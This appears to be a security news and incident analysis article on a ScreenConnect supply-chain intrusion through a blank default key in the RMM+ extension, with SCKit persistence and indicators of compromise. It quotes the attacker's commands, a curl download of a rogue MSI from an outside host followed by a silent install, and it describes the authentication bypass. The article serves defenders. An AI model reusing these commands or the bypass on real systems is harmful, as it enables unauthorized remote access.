ConnectWise ScreenConnect Cyberattack Infiltrates 48 Organizations via MSPs

A lightning-fast intrusion campaign targeting cloud-hosted ConnectWise ScreenConnect instances has breached at least six managed service providers (MSPs) and installed rogue remote-access tools across 288 endpoints belonging to 48 client organizations.

The attack, detected on November 11, 2026, unfolded with military precision. Threat actors seized control of MSP administrative consoles and weaponized the software’s native remote command capabilities to deploy malicious implants at scale. According to incident telemetry compiled by cybersecurity firm Huntress, the adversary compromised all 288 confirmed machines in approximately 90 minutes, with nearly one-third of the systems overrun within the first 10 minutes of the onslaught.

The operators executed scripts with full SYSTEM privileges to drop secondary, attacker-controlled ScreenConnect clients alongside a customized intrusion framework dubbed "SCKit". By substituting the legitimate MSP management instances with rogue software, the intruders established an out-of-band persistent foothold designed to survive credential rotations and administrative resets.

ConnectWise confirmed unauthorized access affecting a subset of its partner accounts and issued an emergency security advisory. In response, the Tampa-based software vendor took the extraordinary step of remotely deactivating five third-party extensions across roughly 400 partner environments.

While ConnectWise maintained that its core infrastructure remained intact, investigators swiftly tied the intrusion vector to a severe authentication flaw within the popular RMM+ extension ecosystem. The incident has sent shockwaves through the IT channel, highlighting how trusted remote management software can be inverted into an automated delivery pipeline for enterprise intrusion.

ATTACK TIMELINE: NOVEMBER 11, 2026 (UTC)
┌─────────────────────────────────────────────────────────────────────────────┐
│ 17:47 UTC  Huntress SOC detects mass 'Run Command' execution across MSPs    │
│ 17:57 UTC  ~95 endpoints compromised within the first 10 minutes           │
│ 19:17 UTC  288 endpoints across 48 organizations confirmed compromised      │
│ 22:45 UTC  ConnectWise publishes emergency advisory; disables 5 extensions │
└─────────────────────────────────────────────────────────────────────────────┘

Anatomy of the Breach: How the Intrusion Vector Bypassed MFA

At the core of the compromise lies a fundamental conflict between platform security and ecosystem extensibility. Although initial speculation pointed toward credential stuffing or session hijacking, Huntress incident responders identified that attackers bypassed ScreenConnect’s multifactor authentication (MFA) controls entirely by targeting the application programming interfaces (APIs) exposed by external plugins.

                    ScreenConnect Web Console
                               │
               ┌───────────────┴───────────────┐
               ▼                               ▼
       Native Login Flow              RMM+ Extension API
       [MFA Enforced]                [Shared Key Auth]
               │                               │
               │                        Defaults to BLANK
               │                               │
               ▼                               ▼
      Authenticated Admin             UNAUTHENTICATED ACCESS
                                               │
                                               ▼
                                      Arbitrary Execution
                                      (SYSTEM Privileges)

The focal point of the intrusion centers on versions 1.0.31 and 1.0.32 of RMM+, a third-party extension engineered to allow external management platforms to automate ScreenConnect sessions via an exposed API. To facilitate programmatic interaction, RMM+ relied on a shared access key rather than native user accounts or identity-provider federation.

Security analysis revealed that when administrators installed RMM+ without explicitly setting a custom passphrase, the extension defaulted to an empty string. Consequently, any external request that submitted a blank access key was treated as legitimate, granting the caller unauthenticated access to the underlying management API.

Because RMM+ possessed the capability to dispatch commands directly to managed machines, the vulnerability effectively transformed an empty parameter into an unauthenticated remote code execution gateway. Attackers submitted API requests carrying empty authentication keys, enabling them to execute commands on remote endpoints without ever interacting with the ScreenConnect web interface, entering an administrative password, or triggering an MFA challenge.

In response to the telemetry, ConnectWise disabled five related extensions across approximately 400 partner environments:

RMM+
RMM Plus
Labtech Plus
RMM+ Password Link
RMM Plus Password Link

The vendor emphasized that while these extensions were independently produced, their integration into ScreenConnect environments created severe exposure. The distinction between a flaw in the core platform and an exploitable flaw within a distributed plugin has sparked intense debate over the shared responsibility model in managed services. For enterprise risk managers, the exploitation of this third-party dependency carries the same operational weight as a native ConnectWise ScreenConnect vulnerability, because the resulting system access and downstream impact are indistinguishable.

The SCKit Payload: Persistence and the "Technician Trap"

Once the threat actors obtained command execution capabilities through the compromised panels, they avoided conventional, noisy ransomware deployment. Instead, they executed commands as SYSTEM through ScreenConnect's native Run Command feature, orchestrating a systematic takeover of the target hosts.

                 Adversary Command via RMM+ API
                               │
                               ▼
                   ScreenConnect Run Command
                     (Runs as NT AUTHORITY\SYSTEM)
                               │
            ┌──────────────────┴──────────────────┐
            ▼                                     ▼
      Drops SCKit                            curl.exe Fetches
(C:\ProgramData\RelayTrap\)             Adversary-Controlled Client
            │                                     │
            ▼                                     ▼
Creates Defender Exclusions             Silently Installs MSI
Creates 'TrapWatch' Task                Terminates Legitimate Client
            │                                     │
            └──────────────────┬──────────────────┘
                               ▼
               Active Persistence & Interception
            (Waits for Interactive Helpdesk Sessions)

Telemetry published by Huntress and corroborated by Sophos mapped the exact sequence of the payload deployment. Attackers invoked Windows command-line utilities and PowerShell to fetch an adversary-controlled installation package:

curl.exe -o C:\Windows\TEMP\sc.msi http://185.99.255[.]28/ScreenConnect.ClientSetup.msi
msiexec.exe /i C:\Windows\TEMP\sc.msi /quiet /qn

This rogue installer established a connection to an external, unauthorized ScreenConnect relay controlled by the threat actors. Simultaneously, the payload terminated the legitimate ScreenConnect client process running on the host, preventing the authentic MSP technicians from retaining operational visibility or executing counter-commands through their legitimate instance.

The core payload delivered to these machines was SCKit, a 16-component malicious framework placed within C:\ProgramData\RelayTrap\. SCKit performed several critical post-exploitation steps:

Defense Impairment: SCKit added path exclusions into Microsoft Defender for its operational directory and associated executables, preventing behavioral heuristics from flagging subsequent scripts.
Persistence Generation: The toolkit created an automated Windows Scheduled Task named TrapWatch. This task verified that the rogue ScreenConnect service remained operational, reinstantiating the backdoor if the process was terminated.
Session Interception Architecture: Inside SCKit, researchers discovered custom assemblies designed to act as an inline relay trap.

The most alarming capability within SCKit was an automated propagation mechanism designed to infect technician workstations. When an MSP technician initiated an interactive remote-control session to investigate anomalies on an infected endpoint, SCKit attempted to steal session cookies, capture clipboard contents, and transmit malicious commands across the active desktop stream into the technician’s host.

Had this "guest-to-host" pivot executed reliably, an attacker could have turned a single compromised endpoint into a launchpad to hijack the technician's administrative workstation. From there, the adversary could have accessed every other client network managed by that technician.

Huntress threat intelligence specialists confirmed that while the lateral movement code was actively embedded within SCKit payloads, automated takeovers of technician consoles failed across all examined telemetry logs. The risk, however, forced cybersecurity firms to issue emergency warnings instructing IT administrators not to initiate interactive ScreenConnect sessions with any potentially compromised endpoints.

Who Is Affected: Mapping the Downstream Blast Radius

The fallout of the November 11 campaign cascades across multiple layers of the technology supply chain. The confirmed victim count of 48 organizations represents only the initial footprint detected within monitored telemetry; sequential identifier tags embedded inside the threat actors’ deployment scripts suggest the campaign's true perimeter could be significantly wider.

                   ┌──────────────────────────────────────┐
                   │ Threat Actors (Unconfirmed Group)    │
                   └──────────────────┬───────────────────┘
                                      │
                                      ▼
                   ┌──────────────────────────────────────┐
                   │ 6+ Managed Service Providers (MSPs)  │
                   └──────────────────┬───────────────────┘
                                      │
          ┌───────────────────────────┼───────────────────────────┐
          ▼                           ▼                           ▼
┌──────────────────┐        ┌──────────────────┐        ┌──────────────────┐
│  Corporate IT    │        │ Professional     │        │ OT & Industrial  │
│  Networks        │        │ Services         │        │ Gateways         │
│  (32 Orgs)       │        │ (11 Orgs)        │        │ (5 Orgs)         │
│  • Workstations  │        │ • Legal & CPA    │        │ • Water / SCADA  │
│  • File Servers  │        │ • Client Data    │        │ • Building Mgmt  │
└──────────────────┘        └──────────────────┘        └──────────────────┘

The MSP Tier

The immediate victims were the six MSPs whose cloud-hosted instances were abused as automated staging hubs. These providers face catastrophic operational disruption. Beyond the immediate technical burden of triaging hundreds of client machines, MSPs face profound reputational and contractual exposure. Clients outsource IT management under the implicit assumption that the provider’s toolchain is hardened; discovering that the provider's remote monitoring console was converted into a malware delivery vehicle shatters organizational trust.

Downstream Commercial Organizations

The 48 affected client organizations encompass professional services firms, healthcare clinics, manufacturing businesses, and regional financial entities. For these entities, the compromise represents an unmonitored intrusion into their core network perimeter.

Because the adversary gained SYSTEM access, they possessed the privileges necessary to:

Dump local Local Security Authority Subsystem Service (LSASS) memory to harvest domain credentials.
Access local file systems containing intellectual property and personally identifiable information (PII).
Stage secondary droppers for data extortion or ransomware deployment.

Operational Technology (OT) and Critical Infrastructure

Perhaps the most concerning aspect of the campaign is its systemic implications for industrial environments. ScreenConnect is widely deployed not only in corporate enterprise IT, but also by original equipment manufacturers (OEMs), control system integrators, and third-party contractors maintaining industrial networks.

In modern industrial facilities—ranging from municipal water treatment systems to automated packaging plants and building management systems (BMS)—integrators maintain remote ScreenConnect jump hosts inside intermediate Demilitarized Zones (DMZs) to perform remote diagnostics. While current telemetry shows no evidence that the SCKit operators bridged the gap from IT endpoints into programmable logic controller (PLC) engineering workstations, the structural breach demonstrates that trusted maintenance conduits can be repurposed to bypass network segmentation.

The Disparity Between Cloud and On-Premises Tenants

A critical divergence in organizational impact stems from deployment architecture. For partners running ConnectWise-hosted cloud instances, ConnectWise took proactive, centralized action by severing the vulnerable extensions across 400 environments.

Conversely, organizations hosting their own ScreenConnect servers on-premises were left entirely exposed until local administrators manually audited their instances. ConnectWise holds no administrative reach into self-hosted instances to disable malicious extensions remotely. These self-hosted instances remain prime targets for ongoing automated scanning and exploitation by copycat actors seeking to leverage the same RMM+ authentication bypass.

What Changes Immediately: Tactical Triage and Operational Shifts

The November 11 campaign has upended standard incident response procedures for managed service environments. Historically, when an administrative account was compromised, standard containment entailed resetting credentials, terminating active sessions, and enforcing MFA. In this intrusion, those standard operating procedures are wholly ineffective against endpoints where secondary payloads have already taken root.

TRADITIONAL VS. MANDATED INCIDENT RESPONSE
┌──────────────────────────────────────┬──────────────────────────────────────┐
│ Traditional Playbook (INSUFFICIENT)  │ Mandated Protocol (POST-SCKIT)       │
├──────────────────────────────────────┼──────────────────────────────────────┤
│ 1. Reset administrative passwords    │ 1. Isolate endpoints at network edge │
│ 2. Revoke active cloud sessions      │ 2. Zero interactive ScreenConnect    │
│ 3. Enforce MFA across users          │ 3. Triage via WinRM / Live EDR       │
│ 4. Re-enable legitimate RMM client   │ 4. Purge rogue MSI & TrapWatch tasks │
│ 5. Resume normal remote support      │ 5. Audit all endpoint Run histories  │
└──────────────────────────────────────┴──────────────────────────────────────┘

The realization that SCKit can target interactive technician sessions fundamentally changes how support teams must interact with potentially affected hardware. Technicians can no longer log into an alerting client machine to "see what is happening". Doing so risks exposing their own administrative machines to session theft and lateral infection.

Security vendors, including Huntress and Field Effect, along with ConnectWise itself, have mandated strict changes to operational protocols:

1. Shift to Out-of-Band Endpoint Remediation

IT personnel are directed to avoid graphical desktop sessions on suspicious endpoints. Instead, all triage, artifact collection, and service termination must be executed through out-of-band Command Line Interfaces (CLI), such as Endpoint Detection and Response (EDR) Live Response shells, Windows Remote Management (WinRM), or isolated PowerShell remoting channels.

2. Manual Removal of Rogue Infrastructure

Because disabling the RMM+ extension only prevents new API invocations, it does not purge malicious components already deployed to endpoints. Security teams are systematically sweeping environments for specific indicators of compromise (IoCs):

File paths within C:\ProgramData\RelayTrap\.
Unscheduled installer packages matching C:\Windows\TEMP\sc.msi.
The scheduled task named TrapWatch configured to execute with highest privileges.
Tampered registry hives under HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions.
Duplicate ScreenConnect client services running under unexpected instance identifiers or reporting to unfamiliar external IP addresses (such as 185.99.255[.]28).

3. Comprehensive Forensics on Management History

Organizations are mandated to export and scrutinize their ScreenConnect Run Command and Shared Toolbox execution logs dating back several weeks. Because the attacker scripts assigned sequential tags to compromised environments, forensic investigators must look for signs of early reconnaissance or dormant staging that may have preceded the November 11 execution wave.

Short-Term and Long-Term Consequences

The exploitation of ScreenConnect environments via extension logic flaws creates systemic tremors across the software supply chain. The consequences will play out along distinct operational, commercial, and structural timelines.

                     CONSEQUENCE TIMELINE MATRIX
┌─────────────────────────────────────────────────────────────────────────────┐
│ SHORT-TERM (0–30 Days)                                                      │
│ • Emergency incident response & forensic sweeps across 400+ environments    │
│ • Heightened threat of secondary ransomware or data extortion drops         │
│ • Aggressive customer inquiries regarding MSP toolchain security audits    │
├─────────────────────────────────────────────────────────────────────────────┤
│ MEDIUM-TERM (1–6 Months)                                                    │
│ • Regulatory notifications (HIPAA, GLBA, GDPR) driven by SYSTEM exposure   │
│ • Mandatory code-signing and vetting for all ScreenConnect extensions       │
│ • Cyber insurance adjustments raising MSP underwriting requirements         │
├─────────────────────────────────────────────────────────────────────────────┤
│ LONG-TERM (6–24 Months)                                                     │
│ • Re-architecting RMM tools away from persistent, high-privilege agents     │
│ • Integration of Ephemeral Just-in-Time (JIT) access in remote platforms   │
│ • Legal clarification of vendor liability for third-party marketplace apps │
└─────────────────────────────────────────────────────────────────────────────┘

Short-Term Consequences: Containment Challenges and Extortion Risks

In the immediate term, affected organizations operate under the threat of secondary monetization. In past campaigns targeting remote monitoring tools, initial access brokers spent days establishing backdoors across hundreds of machines before selling or transferring that access to dedicated ransomware groups.

Even where defensive teams successfully shut down the rogue ScreenConnect client, there remains the risk that the adversaries executed tertiary scripts—such as adding hidden domain user accounts, installing secondary web shells, or exfiltrating browser credential vaults.

Furthermore, MSPs are confronting a surge in customer scrutiny. Downstream clients are demanding contractual proof that their systems were not among the 288 compromised hosts. The disclosure process is complicated by the nature of the software: because the intrusion occurred through the MSP’s management layer rather than a direct firewall breach at the client’s facility, corporate security logs at the client level often show the activity originating from a trusted, authorized parent process (ScreenConnect.ClientService.exe).

Medium-Term Consequences: Regulatory Scrutiny and Insurance Hardening

Over the coming months, regulatory notifications will inevitably follow. Because SYSTEM privileges grant absolute access to all files and data resident on an operating system, healthcare providers and financial institutions impacted by this attack must determine whether the incident constitutes a reportable breach under HIPAA, GLBA, or state privacy mandates—even in the absence of explicit data theft logs.

Cyber liability insurers are also expected to adjust underwriting requirements. Following the catastrophic exploitation of the critical ConnectWise ScreenConnect vulnerability tracked as CVE-2024-1709 in early 2024, underwriters began requiring policyholders to verify that remote management tools were protected by hardware token MFA and restricted behind IP allowlists.

This latest campaign demonstrates that external extensions can bypass native platform safeguards. As a result, insurance carriers will likely demand comprehensive inventories of all active integrations and extensions within RMM tools, potentially denying coverage to MSPs that run unvetted community plugins.

HISTORICAL PERSPECTIVE: CONNECTWISE EXPOSURE TRAJECTORY
┌───────────────┬───────────────────────────────┬─────────────────────────────┐
│ Incident      │ Vector                        │ Mechanism & Impact          │
├───────────────┼───────────────────────────────┼─────────────────────────────┤
│ CVE-2024-1709 │ Core ScreenConnect Setup Bug  │ Unauthenticated path        │
│               │ (CVSS 10.0)                   │ traversal creating admin    │
├───────────────┼───────────────────────────────┼─────────────────────────────┤
│ CVE-2026-84869│ File-Transfer Vulnerability   │ CVSS 9.9 execution leading  │
│               │                               │ to worm-like propagation    │
├───────────────┼───────────────────────────────┼─────────────────────────────┤
│ Nov 2026 Wave │ Third-Party Extension Auth    │ Blank access key in RMM+    │
│ (Current)     │ Bypass (RMM+ v1.0.31/32)      │ deploying SCKit to 288 hosts│
└───────────────┴───────────────────────────────┴─────────────────────────────┘

The recurrence of these incidents echoes past critical exposures, notably the file-transfer flaw identified as CVE-2026-84869 and the prior zero-day flaws that prompted widespread ransomware deployment. When combined with the October 2026 warning from Microsoft regarding Chinese state-sponsored group Storm-0940 abusing ConnectWise environments using AI-assisted password spraying, it is clear that remote access consoles remain the highest-value supply chain targets in enterprise IT.

Long-Term Consequences: The Structural Transformation of RMM Architecture

The architectural design of remote management tools must undergo structural reform. For two decades, the operational model of the MSP industry has relied on persistent, high-privilege background agents. Software agents run continuously under the NT AUTHORITY\SYSTEM account on Windows or root on Unix-like operating systems, listening for remote commands dispatched from a cloud orchestrator.

This architectural model presents an extreme security paradox. By designing a system that allows an administrator to execute commands instantly across thousands of remote computers, vendors have engineered an infrastructure that offers malicious actors the exact same capability if any link in the authentication chain snaps.

The industry will face escalating pressure to abandon permanent, high-privilege remote access agents in favor of ephemeral, Just-In-Time (JIT) access architectures:

Least-Privilege Execution Defaults: Remote execution agents should run standard administrative commands in reduced-privilege contexts, elevating to SYSTEM only through cryptographically signed, time-bounded authorization requests.
Mandatory Sandboxing of Ecosystem Extensions: Plugins and extensions must not be granted direct, ambient execution rights on remote hosts. ConnectWise and its competitors will need to implement strict micro-segmentation within extension architectures, ensuring third-party APIs cannot execute arbitrary commands without explicit administrative sign-off within the primary console.
App Store Vetting and Vendor Liability: The model of hosting open marketplaces for RMM add-ons will transition toward rigorously audited, cryptographically signed extension programs. The discovery that an extension with a blank default access key was permitted to run across hundreds of commercial environments highlights glaring deficits in software supply chain governance.

Technical Indicators of Compromise (IoCs)

To assist defenders and incident response teams in hunting for SCKit components and unauthorized ScreenConnect deployments, the following indicators should be ingested into security information and event management (SIEM) and endpoint detection platforms:

Network Indicators

185.99.255[.]28 — Remote distribution host hosting unauthorized ScreenConnect.ClientSetup.msi packages.
Outbound network connections from ScreenConnect.ClientService.exe to unknown or newly registered domains not associated with legitimate MSP instances.

Host-Based Indicators

Directories & Files:

C:\ProgramData\RelayTrap\ (and subdirectories containing staging scripts).

C:\Windows\TEMP\sc.msi.

Scheduled Tasks:

Task Name: TrapWatch.

Action: Automated verification and respawning of unauthorized remote desktop processes.

Registry Alterations:

Tampered keys located under HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths matching SCKit staging locations.

ScreenConnect Extensions to Audit:

Presence of RMM+ (specifically versions 1.0.31 and 1.0.32).

* Associated plugins: Labtech Plus, RMM Plus, RMM+ Password Link, and RMM Plus Password Link.

Unresolved Questions and Forward Outlook

As forensic investigations deepen across the global managed services ecosystem, several critical questions remain unanswered:

Initial Access Provenance: While Huntress identified the RMM+ extension logic flaw as the primary propagation engine, investigators have not established whether threat actors possessed pre-existing knowledge of zero-day entry points or if credentials were stolen via an earlier, untracked supply chain breach.
The Identity of the Adversary: No advanced persistent threat (APT) group or cybercrime syndicate has claimed credit for the intrusions. The deliberate speed of the operation, the sequential numbering assigned to compromised MSPs, and the weaponization of cross-session propagation point to an operator with advanced reverse-engineering capabilities.
The Dormancy Window: Because the sequential tags discovered in adversary payloads began partway through numerical sequences, analysts suspect that earlier compromises occurred prior to November 11 without triggering alerts.

In the coming weeks, the broader impact of this campaign will crystallize as enterprises conduct full retrospective log reviews. Security teams operating ScreenConnect—whether self-hosted or cloud-managed—must treat this incident not as an isolated software bug, but as an urgent warning on the hazards of third-party integration sprawl.

As threat actors continue targeting management software to engineer cascading supply chain intrusions, the security posture of an enterprise will increasingly depend not just on how well its own walls are guarded, but on the invisible trust delegated to the tools managing them.